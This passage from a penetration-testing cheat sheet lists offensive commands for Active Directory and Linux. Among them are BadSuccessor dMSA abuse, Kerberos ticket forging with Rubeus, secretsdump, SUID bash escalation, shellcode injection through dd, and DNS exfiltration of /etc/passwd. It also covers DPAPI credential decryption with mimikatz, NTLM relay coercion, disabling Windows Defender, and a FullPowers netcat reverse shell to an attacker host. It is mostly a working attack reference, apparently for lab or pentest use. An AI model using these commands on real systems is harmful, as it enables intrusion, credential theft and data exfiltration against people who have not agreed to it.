    Get-BadSuccessorOUPermissions @PSBoundParameters
}
```

#### Prerequisites

```cmd
PS C:\> $relevantRights = "CreateChild|GenericAll|WriteDACL|WriteOwner"
```

#### Validation

```cmd
PS C:\> .\Get-BadSuccessorOUPermissions.ps1
```

#### Execution

##### SharpSuccessor

> https://github.com/logangoins/SharpSuccessor

```cmd
PS C:\> .\SharpSuccessor.exe add /path:"ou=<OU>,dc=<DOMAIN>,dc=<DOMAIN>" /account:<DMSA> /name:<USERNAME> /impersonate:Administrator
```

##### Rubeus

```cmd
PS C:\> .\Rubeus.exe tgtdeleg /nowrap
```

```cmd
PS C:\> .\Rubeus.exe asktgs /targetuser:<DMSA>$ /service:krbtgt/<DOMAIN> /opsec /dmsa /nowrap /ptt /ticket:<TICKET>
```

```cmd
PS C:\> .\Rubeus.exe asktgs /user:<DMSA>$ /service:cifs/<RHOST> /opsec /dmsa /nowrap /ptt /ticket:<TICKET>
```

```cmd
PS C:\> dir \\<RHOST>\C$\Users\Administrator\Desktop\
```

### Linux Exploitation

#### Prerequisites

```console
$ uv tool install --python 3.13 git+https://github.com/CravateRouge/bloodyAD
```

#### bloodyAD

```console
$ bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> get writable --detail
```

```console
$ bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> add badSuccessor <USERNAME>
```

```console
$ export KRB5CCNAME=<FILE>.ccache
```

```console
$ impacket-getST -dc-ip <RHOST> -k -no-pass -spn 'cifs/<RHOST>' '<DOMAIN>/<USERNAME>$'
```

```console
$ export KRB5CCNAME=<FILE>.ccache
```

```console
$ impacket-secretsdump -k -no-pass '<USERNAME>$'@<RHOST>
```

## BadSuccessor.py

> https://github.com/cybrly/badsuccessor

## Bash

### SUID Privilege Escalation

```console
$ cp /bin/bash .
$ chmod +s bash
$ bash -p
```

### White Collar eval Arbitrary Code Execution

> https://www.vidarholen.net/contents/blog/?p=716

#### Example

```console
#!/bin/bash
chmod +s /bin/bash
```

```console
'a[$(/tmp/<FILE>.sh>&2)]+42' /tmp/<FILE>.sh
```

## Bash Debugging Mode

- Bash <4.4

```console
$ env -i SHELLOPTS=xtrace PS4='$(chmod +s /bin/bash)' /usr/local/bin/<BINARY>
```

## Bash String Slicing

```console
${variable:offset:length}
```

```console
$ _$0
$ ${0:29:2}
```

## BloodHound

> https://github.com/SpecterOps/BloodHound

> https://www.kali.org/tools/bloodhound/

### Installation

```console
$ sudo apt-get install bloodhound
```

```console
$ sudo bloodhound-setup
```

### Configuring Database

> http://localhost:7474/browser/

### Verify Installation

```console
$ bloodhound-setup -h

 [*] Starting PostgreSQL service

 [*] Creating Database
User _bloodhound already exists in PostgreSQL
Database bloodhound already exists in PostgreSQL
ALTER ROLE

 [*] Starting neo4j
Neo4j is running at pid 36667

 [i] You need to change the default password for neo4j
     Default credentials are user:neo4j password:neo4j

 [!] IMPORTANT: Once you have setup the new password, please update /etc/bhapi/bhapi.json with the new password before running bloodhound

 opening http://localhost:7474/
```

### Update Credential Configuration

```console
$ sudo vi /etc/bhapi/bhapi.json
```

```json
{
  "database": {
    "addr": "localhost:5432",
    "username": "_bloodhound",
    "secret": "bloodhound",
    "database": "bloodhound"
  },
  "neo4j": {
    "addr": "localhost:7687",
    "username": "neo4j",
    "secret": "neo4j"
  },
  "default_admin": {
    "principal_name": "admin",
    "password": "admin",
    "first_name": "Bloodhound",
    "last_name": "Kali"
  }
}
```

### Start BloodHound

```console
$ sudo bloodhound
```

> http://127.0.0.1:8080/

| Email Address | Password |
| --- | --- |
| admin | admin |

### Error Handling

#### Fixing psql: error: connection to server on socket "/var/run/postgresql/.s.PGSQL.5432" failed: FATAL:  database "bloodhound" does not exist Error

##### Error Message

```console
$ sudo bloodhound-setup         

 [*] Starting PostgreSQL service

 [*] Creating Database
WARNING:  database "postgres" has a collation version mismatch
DETAIL:  The database was created using collation version 2.40, but the operating system provides version 2.41.
HINT:  Rebuild all objects in this database that use the default collation and run ALTER DATABASE postgres REFRESH COLLATION VERSION, or build PostgreSQL with the right library version.
User _bloodhound already exists in PostgreSQL
WARNING:  database "postgres" has a collation version mismatch
DETAIL:  The database was created using collation version 2.40, but the operating system provides version 2.41.
HINT:  Rebuild all objects in this database that use the default collation and run ALTER DATABASE postgres REFRESH COLLATION VERSION, or build PostgreSQL with the right library version.

 Creating database
WARNING:  database "postgres" has a collation version mismatch
DETAIL:  The database was created using collation version 2.40, but the operating system provides version 2.41.
HINT:  Rebuild all objects in this database that use the default collation and run ALTER DATABASE postgres REFRESH COLLATION VERSION, or build PostgreSQL with the right library version.
createdb: error: database creation failed: ERROR:  template database "template1" has a collation version mismatch
DETAIL:  The template database was created using collation version 2.40, but the operating system provides version 2.41.
HINT:  Rebuild all objects in the template database that use the default collation and run ALTER DATABASE template1 REFRESH COLLATION VERSION, or build PostgreSQL with the right library version.
psql: error: connection to server on socket "/var/run/postgresql/.s.PGSQL.5432" failed: FATAL:  database "bloodhound" does not exist
```

##### Fix

```console
$ sudo -u postgres psql -d template1 -c "ALTER DATABASE template1 REFRESH COLLATION VERSION;"
[sudo] password for kali: 
WARNING:  database "template1" has a collation version mismatch
DETAIL:  The database was created using collation version 2.40, but the operating system provides version 2.41.
HINT:  Rebuild all objects in this database that use the default collation and run ALTER DATABASE template1 REFRESH COLLATION VERSION, or build PostgreSQL with the right library version.
NOTICE:  changing version from 2.40 to 2.41
ALTER DATABASE
```

```console
$ sudo -u postgres psql -d postgres -c "ALTER DATABASE postgres REFRESH COLLATION VERSION;"
WARNING:  database "postgres" has a collation version mismatch
DETAIL:  The database was created using collation version 2.40, but the operating system provides version 2.41.
HINT:  Rebuild all objects in this database that use the default collation and run ALTER DATABASE postgres REFRESH COLLATION VERSION, or build PostgreSQL with the right library version.
NOTICE:  changing version from 2.40 to 2.41
ALTER DATABASE
```

#### Fixing WebGL Not Supported

- Upgrade your Graphics Card Driver if possible
- Troubleshooting: Enter `chrome:gpu` in address bar to check for errors
- In `chrome:flags`, set `Override Software Rendering List` to `Enable`

## BloodHound-Legacy

> https://github.com/SpecterOps/BloodHound-Legacy

> https://github.com/SpecterOps/BloodHound-Legacy/tree/master/Collectors

### Installation

```console
$ sudo apt-get install openjdk-11-jdk
```

```console
$ pip install bloodhound
$ sudo apt-get install neo4j
$ sudo apt-get install bloodhound
```

### Installing and starting Database

```console
$ sudo wget -O - https://debian.neo4j.com/neotechnology.gpg.key | sudo apt-key add -
$ sudo echo 'deb https://debian.neo4j.com stable 4' | sudo tee /etc/apt/sources.list.d/neo4j.list > /dev/null
$ sudo apt-get update
$ sudo apt-get install apt-transport-https
$ sudo apt-get install neo4j
$ sudo systemctl stop neo4j
```

### Starting Neo4j

#### Option 1

```console
$ cd /usr/bin
$ sudo ./neo4j console
```

#### Option 2

```console
$ systemctl start neo4j
```

#### Option 3

```console
$ sudo neo4j start console
```

>  http://localhost:7474/browser/

### Start BloodHound-Legacy

```console
$ ./bloodhound --no-sandbox
$ sudo bloodhound --no-sandbox
```

#### Alternatively

```console
$ sudo npm install -g electron-packager
$ git clone https://github.com/BloodHoundAD/Bloodhound
$ cd BloodHound
$ npm install
$ npm run linuxbuild
$ cd BloodHound-linux-x64
$ sudo ./BloodHound --no-sandbox
```

### Docker Container

```console
$ docker run \ --publish=7474:7474 --publish=7687:7687 \ --volume=$HOME/neo4j/data:/data \ neo4j
$ docker run -itd -p 7687:7687 -p 7474:7474 --env NEO4J_AUTH=neo4j/<PASSWORD> -v $(pwd)/neo4j:/data neo4j:4.4-community
```

### Database Password Reset

>  http://localhost:7474/browser/

```console
ALTER USER neo4j SET PASSWORD '<PASSWORD>'
```

### Custom Queries

> https://github.com/mgeeky/Penetration-Testing-Tools/blob/master/red-teaming/bloodhound/Handy-BloodHound-Cypher-Queries.md

#### Custom Query Location on macOS

```console
/System/Volumes/Data/Users/<USERNAME>/Library/Application Support/bloodhound/
```

## BloodHound Python

### Build Docker Container

```console
$ docker build -t bloodhound.py
```

### Common Commands

```console
$ bloodhound-python -u '<USERNAME>' -p '<PASSWORD>' -d '<DOMAIN>' -dc '<RHOST>' -ns '<RHOST>' -c all --zip
$ bloodhound-python -u '<USERNAME>' -p '<PASSWORD>' -d '<DOMAIN>' -dc '<RHOST>' -ns '<RHOST>' -c all --zip --dns-timeout 30
$ bloodhound-python -u '<USERNAME>' -p '<PASSWORD>' -d '<DOMAIN>' -gc '<DOMAIN>' -ns '<RHOST>' -c all --zip
$ bloodhound-python -u '<USERNAME>' -p '<PASSWORD>' -d '<DOMAIN>' -ns '<RHOST>' --dns-tcp -no-pass -c all --zip
$ bloodhound-python -u '<USERNAME>' -p '<PASSWORD>' -d '<DOMAIN>' -dc '<RHOST>' -ns '<RHOST>' --dns-tcp -no-pass -c all --zip
```

### Parsing

```console
$ cat 20220629013701_users.json | jq | grep \"name\"
$ cat 20220629013701_users.json | jq | grep \"name\" | awk '{print $2}' | sed -e 's/"//g' -e 's/,//g' -e 's/@.*//'
```

#### Searching for User Description in BloodHound Data

```console
$ cat 20220629013701_users.json | jq '.data[].Properties | select(.enabled == true) | .name + " " .description'
$ cat 20241130205730_users.json | jq -r '.data[].Properties | select(.enabled == true) | .name + " " + (.description // "")'
```

## bloodyAD

> https://github.com/CravateRouge/bloodyAD

> https://github.com/CravateRouge/bloodyAD/wiki/User-Guide

> https://github.com/CravateRouge/bloodyAD/wiki/Access-Control

```console
$ bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> get children 'DC=<DOMAIN>,DC=<DOMAIN>' --type user                       // Get all users of the domain
$ bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> get children 'DC=<DOMAIN>,DC=<DOMAIN>' --type computer                   // Get all computers of the domain
$ bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> get children 'DC=<DOMAIN>,DC=<DOMAIN>' --type container                  // Get all containers of the domain
$ bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> get dnsDump                                                              // Get AD DNS records
$ bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> get object Users --attr member                                           // Get group members
$ bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> get object 'DC=<DOMAIN>,DC=<DOMAIN>' --attr msDS-Behavior-Version        // Get AD functional level
$ bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> get object 'DC=<DOMAIN>,DC=<DOMAIN>' --attr minPwdLength                 // Get minimum password length policy
$ bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> get object 'DC=<DOMAIN>,DC=<DOMAIN>' --attr ms-DS-MachineAccountQuota    // Read quota for adding computer objects to domain
$ bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> get object '<USERNAME>' --attr userAccountControl                        // Get UserAccountControl flags
$ bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> get object '<ACCOUNTNAME>$' --attr ms-Mcs-AdmPwd                         // Read LAPS password
$ bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> get object '<ACCOUNTNAME>$' --attr msDS-ManagedPassword                  // Read GMSA account password
$ bloodyAD --host <RHOST> --dc-ip <RHOST> -d <DOMAIN> -k get object '<ACCOUNTNAME>$' --attr msDS-ManagedPassword                           // Read GMSA account password using Kerberos
$ bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set password '<USERNAME>' '<PASSWORD>' --kerberos --dc-ip <RHOST>        // Set a password for a user
$ bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set object '<USERNAME>' servicePrincipalName                             // Set a Service Principal Name (SPN)
$ bloodyAD --host <RHOST> --dc-ip <RHOST> -d <DOMAIN> -k set object '<USERNAME>' servicePrincipalName                                      // Set a Service Principal Name (SPN) using Kerberos
$ bloodyAD --host <RHOST> --dc-ip <RHOST> -d <DOMAIN> -k set object '<USERNAME>' servicePrincipalName -v 'cifs/<USERNAME>'                 // Set a Service Principal Name (SPN) using Kerberos
$ bloodyAD --host <RHOST> --dc-ip <RHOST> -d <DOMAIN> -u <USERNAME> -k set object '<USERNAME>' altSecurityIdentities -v 'X509:<UPN=<USERNAME>@<DOMAIN>>/CN=<CN>'    // Set a email address within a certificate
$ bloodyAD --host <RHOST> -u <USERNAME> -p '<PASSWORD>' set object "CN=<USERNAME>,CN=Users,DC=<DOMAIN>,DC=<DOMAIN>" scriptPath -v <FILE>.bat                        // Set scriptPath for a user mapping to a script within scripts on SYSVOL
$ bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> add uac '<MACHINE_ACCOUNT>$' -f TRUSTED_FOR_DELEGATION                   // Enable machine account for as trusted for delegation
$ bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> add groupMember '<GROUP>' '<USERNAME>'                                   // Add user to a group
$ bloodyAD --host <RHOST> --dc-ip <RHOST> -d <DOMAIN> -k add groupMember '<GROUP>' '<USERNAME>'                                            // Add user to a group using Kerberos
$ bloodyAD --host <RHOST> --dc-ip <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> add computer '<USERNAME>' '<PASSWORD>'                   // Add a computer object on behalf of a user
$ bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> add dnsRecord <RECORD> <LHOST>                                           // Add a new DNS entry
$ bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> add uac '<USERNAME>' DONT_REQ_PREAUTH                                    // Enable DONT_REQ_PREAUTH for ASREPRoast
$ bloodyAD --host <RHOST> --dc-ip <RHOST> -d <DOMAIN> -k add uac '<USERNAME>' -f DONT_REQ_PREAUTH                                          // Enable DONT_REQ_PREAUTH for ASREPRoast using Kerberos
$ bloodyAD --host <RHOST> --dc-ip <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> add genericAll 'OU=<OU>,DC=<DOMAIN>,DC=<DOMAIN>' '<USERNAME>'    // Add genericAll permissions to a specific OU
$ bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> remove dnsRecord <RECORD> <LHOST>                                        // Remove a DNS entry
$ bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> remove uac '<USERNAME>' ACCOUNTDISABLE                                   // Disable ACCOUNTDISABLE (enable account)
$ bloodyAD --host <RHOST> --dc-ip <RHOST> -d <DOMAIN> -k remove uac '<USERNAME>' -f ACCOUNTDISABLE                                         // Disable ACCOUNTDISABLE (enable account) using Kerberos
```

### Handle DNS Entry

```console
$ bloodyAD -d <DOMAIN> -u '<USERNAME>' -p '<PASSWORD>' --host <HOSTNAME> --dc-ip <RHOST> add dnsRecord <RHOST> <LHOST>
```

```console
$ bloodyAD -d <DOMAIN> -u '<USERNAME>' -p '<PASSWORD>' --host <RHOST> --dc-ip <RHOST> get dnsDump | grep <RHOST>
```

```console
$ nslookup <RHOST> <RHOST>
```

```console
$ bloodyAD -d <DOMAIN> -u '<USERNAME>' -p '<PASSWORD>' --host <RHOST> --dc-ip <RHOST> remove dnsRecord <RHOST> <LHOST>
```

### Service Principal Name (SPN) Hijacking

> https://github.com/CravateRouge/bloodyAD/tree/msldap

```console
$ python3 -m virtualenv venv
```

```console
$ source venv/bin/activate
```

```console
$ pip3 install -r requirements.txt 
```

```console
$ python3 bloodyAD.py --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> msldap delspn "CN=<RHOST>,CN=COMPUTERS,DC=<DOMAIN>,DC=<DOMAIN>" "HTTP/<RHOST>.<DOMAIN>"
```

```console
$ python3 bloodyAD.py -H <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> msldap addspn "CN=<RHOST>,OU=DOMAIN CONTROLLERS,DC=<DOMAIN>,DC=<DOMAIN>" "HTTP/<RHOST>.<DOMAIN>"
```

```console
$ bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> get object '<RHOST>$' --attr servicePrincipalName
```

## Certify

> https://github.com/GhostPack/Certify

```cmd
C:\> Certify.exe find /vulnerable
C:\> Certify.exe find /vulnerable /currentuser
```

## Certipy

> https://github.com/ly4k/Certipy

> https://github.com/ly4k/BloodHound/

### Common Commands

```console
$ certipy-ad find -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <RHOST>
$ certipy-ad find -u '<USERNAME>' -p '<PASSWORD>' -dc-ip <RHOST> -vulnerable -stdout
```

### Certificate Handling

#### Account Creation

```console
$ certipy-ad account create -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>' -dc-ip <RHOST> -dns <RHOST> -user '<COMPUTERNAME>'
```

#### Authentication

```console
$ certipy-ad auth -u '<USERNAME>' -pfx <FILE>.pfx -dc-ip <RHOST> -domain '<DOMAIN>'
```

##### LDAP-Shell

```console
$ certipy-ad auth -u '<USERNAME>' -pfx <FILE>.pfx -dc-ip <RHOST> -domain '<DOMAIN>' -ldap-shell
```

```console
# add_user <USERNAME>
# add_user_to_group <GROUP>
```

#### Certificate Forging

```console
$ certipy-ad template -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>' -dc-ip <RHOST> -template '<TEMPLATE>' -save-old
```

#### Certificate Request

Run the following command twice because of a current issue with `certipy`.

```console
$ certipy-ad req -ca '<CA>' -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>' -dc-ip <RHOST> -target '<FQDN>' -template '<TEMPLATE>'
```

```console
$ certipy-ad req -ca '<CA>' -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>' -dc-ip <RHOST> -target '<FQDN>' -template '<TEMPLATE>' -upn '<USERNAME>@<DOMAIN>' -dns '<FQDN>'
$ certipy-ad req -ca '<CA>' -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>' -dc-ip <RHOST> -target '<FQDN>' -template '<TEMPLATE>' -upn '<USERNAME>@<DOMAIN>' -dns '<FQDN>' -debug
```

### Start BloodHound Fork

```console
$ ./BloodHound --disable-gpu-sandbox
```

## ClamAV

### File Replacement Privilege Escalation

- Vulnerable Version 1.0.0

```console
$ clamscan --version
ClamAV 1.0.0/26853/Fri Mar 24 07:24:11 2023
```

#### Example

Create a custom `authorized_keys` file to replace another one.
Then create a custom `database` with the `hex value` of the string you want to parse for.

```console
$ printf ssh | xxd -p
```

##### custom_malware.db

```console
Malware=737368
```

#### Execution

```console
$ clamscan --remove=yes /root/.ssh/authorized_keys -d custom_malware.db
$ clamscan authorized_keys --copy=/root/.ssh/ -d custom_malware.db
```

## Coercer

> https://github.com/p0dalirius/Coercer

### Scan Example

```console
$ python3 -m coercer scan -t <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -d <DOMAIN> -v
```

### Coerce Example

```console
$ impacket-ntlmrelayx -smb2support -t ldaps://<RHOST> --http-port <LPORT> --shadow-credentials --remove-mic
```

```console
$ python3 Coercer.py coerce -l <LHOST> -t <RHOST> -u "<USERNAME>" --hashes "<HASH>" --always-continue --http-port <LPORT> -d <DOMAIN>
```

## dd

### Execute Shellcode

```console
$ dd of=/proc/$$/mem bs=1 seek=$(($(cut -d" " -f9</proc/$$/syscall))) if=<(base64 -d<<<utz+IUO+aRkSKL+t3uH+McCwqQ8F) conv=notrunc
```

## DNS

### Data Exfiltration

#### Extract /etc/passwd

```perl
$ perl -E 'qx^Cdig $_.$$.${\(rand)}.example.com^Cfor(unpack"H*",qx^?cat /etc/pas*^?)=~m^H(..)^Hgc'
```

^C, ^H, and ^? are the corresponding single ASCII values.

## Data Protection API (DPAPI)

- https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords

### List Vault

```cmd
C:\> vaultcmd /listcreds:"Windows Credentials" /all
```

### Credential File Locations

```cmd
C:\> dir /a:h C:\Users\<USERNAME>\AppData\Local\Microsoft\Credentials\
C:\> dir /a:h C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Credentials\
PS C:\> Get-ChildItem -Hidden C:\Users\<USERNAME>\AppData\Local\Microsoft\Credentials\
PS C:\> Get-ChildItem -Hidden C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Credentials\
```

### Master Key Locations

```cmd
PS C:\> Get-ChildItem C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Protect\
PS C:\> Get-ChildItem C:\Users\<USERNAME>\AppData\Local\Microsoft\Protect\
PS C:\> Get-ChildItem -Hidden C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Protect\
PS C:\> Get-ChildItem -Hidden C:\Users\<USERNAME>\AppData\Local\Microsoft\Protect\
PS C:\> Get-ChildItem -Hidden C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Protect\<SID>
PS C:\> Get-ChildItem -Hidden C:\Users\<USERNAME>\AppData\Local\Microsoft\Protect\<SID>
```

#### Examples

```cmd
PS C:\Users\<USERNAME>\Appdata\Roaming\Microsoft\Credentials> Get-ChildItem -Hidden
Get-ChildItem -Hidden


    Directory: C:\Users\<USERNAME>\Appdata\Roaming\Microsoft\Credentials


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
-a-hs-          5/9/2023   2:08 PM            358 18A1927A997A794B65E9849883AC3F3E                                     
-a-hs-          5/9/2023   4:03 PM            398 84F1CAEEBF466550F4967858F9353FB4                                     
-a-hs-         1/18/2024  11:53 AM            374 E76CCA3670CD9BB98DF79E0A8D176F1E
```

```cmd
PS C:\Users\<USERNAME>\Appdata\Roaming\Microsoft\Protect\S-1-5-21-1199398058-4196589450-691661856-1107> Get-ChildItem -Hidden
Get-ChildItem -Hidden


    Directory: C:\Users\<USERNAME>\Appdata\Roaming\Microsoft\Protect\S-1-5-21-1199398058-4196589450-691661856-1107


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
-a-hs-         1/17/2024   3:43 PM            740 10811601-0fa9-43c2-97e5-9bef8471fc7d                                 
-a-hs-          5/2/2023   4:13 PM            740 191d3f9d-7959-4b4d-a520-a444853c47eb                                                                                             
-a-hs-         1/17/2024   3:43 PM             24 Preferred
```

### Decryption with mimikatz

#### rpc

```console
mimikatz # dpapi::masterkey /in:"%appdata%\Microsoft\Protect\S-1-5-21-1199398058-4196589450-691661856-1107\191d3f9d-7959-4b4d-a520-a444853c47eb" /rpc
```

```console
mimikatz # dpapi::cache
```

```console
mimikatz # dpapi::cred /in:"C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Credentials\84F1CAEEBF466550F4967858F9353FB4"
```

## enum4linux

> https://github.com/CiscoCXSecurity/enum4linux

```console
$ enum4linux -a <RHOST>
```

## enum4linux-ng

> https://github.com/cddmp/enum4linux-ng

### Common Commands

```console
$ enum4linux-ng <RHOST>
$ enum4linux-ng -A <RHOST>
$ enum4linux-ng -u '<USERNAME>' -p '<PASSWORD>' <RHOST>
```

## env

```console
$ env
```

## EtwStartWebClient

- https://gist.github.com/klezVirus/af004842a73779e1d03d47e041115797

```cs
using System.Runtime.InteropServices;
using System;

/* 
 * Simple C# PoC to enable WebClient Service Programmatically
 * Based on the C++ version from @tirannido (James Forshaw)
 * Twitter: https://twitter.com/tiraniddo
 * URL: https://www.tiraniddo.dev/2015/03/starting-webclient-service.html
 * 
 * Compile with:
 *   - 32-bit: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe .\EtwStartWebClient.cs /unsafe
 *   - 64-bit: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe .\EtwStartWebClient.cs /unsafe
 */

namespace EtwStartWebClient
{
    class EtwStartWebClient
    {
        static void Main(string[] args)
        {
            if (StartWebClientService()) {
                Console.WriteLine("[+] WebClient Service started successfully");
            }
            else {
                Console.WriteLine("[-] Failed to start WebClient Service");
            }
        }

        static bool StartWebClientService()
        {
            Guid _MS_Windows_WebClntLookupServiceTrigger_Provider = new Guid(0x22B6D684, 0xFA63, 0x4578, 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7);

            Win32.EVENT_DESCRIPTOR eventDescriptor = new Win32.EVENT_DESCRIPTOR();
            ulong regHandle = 0;

            Win32.WINERROR winError = Win32.EventRegister(
                ref _MS_Windows_WebClntLookupServiceTrigger_Provider, 
                IntPtr.Zero, 
                IntPtr.Zero, 
                ref regHandle
            );

            if (winError == ((ulong)Win32.WINERROR.ERROR_SUCCESS))
            {
                unsafe { 
                if (Win32.EventWrite(
                        regHandle,
                        ref eventDescriptor,
                        0,
                        null
                        ) == Win32.WINERROR.ERROR_SUCCESS) { 
                    Win32.EventUnregister(regHandle);
                        return true;
                    }
                }
            }
            return false;
        }
    }

    class Win32
    {

        public enum WINERROR : ulong {
            ERROR_SUCCESS = 0x0,
            ERROR_INVALID_PARAMETER = 0x57,
            ERROR_INVALID_HANDLE = 0x6,
            ERROR_ARITHMETIC_OVERFLOW = 0x216,
            ERROR_MORE_DATA = 0xEA,
            ERROR_NOT_ENOUGH_MEMORY = 0x8,
            STATUS_LOG_FILE_FULL = 0xC0000188,


        }

        [StructLayout(LayoutKind.Explicit, Size = 16)]
        public class EVENT_DESCRIPTOR
        {
            [FieldOffset(0)] ushort Id = 1;
            [FieldOffset(2)] byte Version = 0;
            [FieldOffset(3)] byte Channel = 0;
            [FieldOffset(4)] byte Level = 4;
            [FieldOffset(5)] byte Opcode = 0;
            [FieldOffset(6)] ushort Task = 0;
            [FieldOffset(8)] long Keyword = 0;
        }

        [StructLayout(LayoutKind.Explicit, Size = 16)]
        public struct EVENT_DATA_DESCRIPTOR
        {
            [FieldOffset(0)]
            internal UInt64 DataPointer;
            [FieldOffset(8)]
            internal uint Size;
            [FieldOffset(12)]
            internal int Reserved;
        }

        [DllImport("Advapi32.dll", SetLastError = true)]
        public static extern WINERROR EventRegister(ref Guid guid, [Optional] IntPtr EnableCallback, [Optional] IntPtr CallbackContext, [In][Out] ref ulong RegHandle);

        [DllImport("Advapi32.dll", SetLastError = true)]
        public static extern unsafe WINERROR EventWrite(ulong RegHandle, ref EVENT_DESCRIPTOR EventDescriptor, uint UserDataCount, EVENT_DATA_DESCRIPTOR* UserData);

        [DllImport("Advapi32.dll", SetLastError = true)]
        public static extern WINERROR EventUnregister(ulong RegHandle);
    }
}
```

## Evil-WinRM

> https://github.com/Hackplayers/evil-winrm

```console
$ evil-winrm -i <RHOST> -u <USERNAME> -p <PASSWORD>
```

```cmd
*Evil-WinRM* PS C:\> menu
```

### Using Hash Authentication

```console
$ evil-winrm -i <RHOST> -u <USERNAME> -H <HASH>
```

### Using SSL Authentication

```console
$ evil-winrm -i <RHOST> -u <USERNAME> -p '<PASSWORD>' -S
```

### Using Certificate and Private Key

```console
$ evil-winrm -i <RHOST> -S -k <KEY>.key -c <CERTIFICATE>.crt
$ evil-winrm -i <RHOST> -c /PATH/TO/CERTIFICATE/<CERTIFICATE>.crt -k /PATH/TO/PRIVATE/KEY/<KEY>.key -p -u -S
```

### Deactivate Windows Defender

```console
$ Set-MpPreference -DisableRealtimeMonitoring $true
```

## evil-winrm-py

### Installation

```console
$ pipx install evil-winrm-py
$ pipx install evil-winrm-py[kerberos]    # for kerberos support on Linux
```

or

```console
$ git clone https://github.com/adityatelange/evil-winrm-py
$ python3 -m virtualenv venv
$ source venv/bin/activate
$ cd evil-winrm-py
$ pip install .
```

### Common Commands

```console
$ evil-winrm-py -i <RHOST> -u <USERNAME> -p <PASSWORD>
$ evil-winrm-py -i <RHOST> -u <USERNAME> -p <PASSWORD> --ssl
```

## Excel

### .csv Files Command Injection

If the file get's parsed on a Linux operationg system, commands can be injected to the rows.

```console
$ echo '" --exec="\!/dev/shm/<FILE>"' >> /PATH/TO/FILE/<FILE>.csv
```

## find

### Specific Size

```console
$ find / -size 50M    // find files with a size of 50MB
```

### Modified Files

```console
$ find / -mtime 10    // find modified files in the last 10 days
$ find / -atime 10    // find accessed files in the last 10 days
$ find / -cmin -60    // find files changed within the last 60 minutes
$ find / -amin -60    // find files accesses within the last 60 minutes
```

### Passwords

```console
$ find ./ -type f -exec grep --color=always -i -I 'password' {} \;
```

### Group Permissions

```console
$ find / -group <group> 2>/dev/null
```

### User specific Files

```console
$ find / -user <USERNAME> 2>/dev/null
$ find / -user <USERNAME> -ls 2>/dev/null
$ find / -user <USERNAME> 2>/dev/null | grep -v proc 2>/dev/null
$ find / -user <USERNAME> -ls 2>/dev/null | grep -v proc 2>/dev/null
```

### SUID and SGID Files

```console
$ find / -perm -4000 2>/dev/null
$ find / -perm -4000 2>/dev/null | xargs ls -la
$ find / -type f -user root -perm -4000 2>/dev/null
$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
```

### Writeable Directories

```console
$ find / -writable -type d 2>/dev/null
```

## FullPowers

> https://github.com/itm4n/FullPowers

```cmd
PS C:\> .\FullPowers.exe -x
PS C:\> .\FullPowers.exe -c "C:\nc64.exe <LHOST> <LPORT> -e cmd" -z
```

## functions

- Bash <4.2-048

```console
$ function /usr/sbin/<BINARY> { /bin/bash -p; }
$ export -f /usr/sbin/<BINARY>
$ /usr/sbin/<BINARY>
```

## gdbus

### Privilege Escalation

> https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/

```console
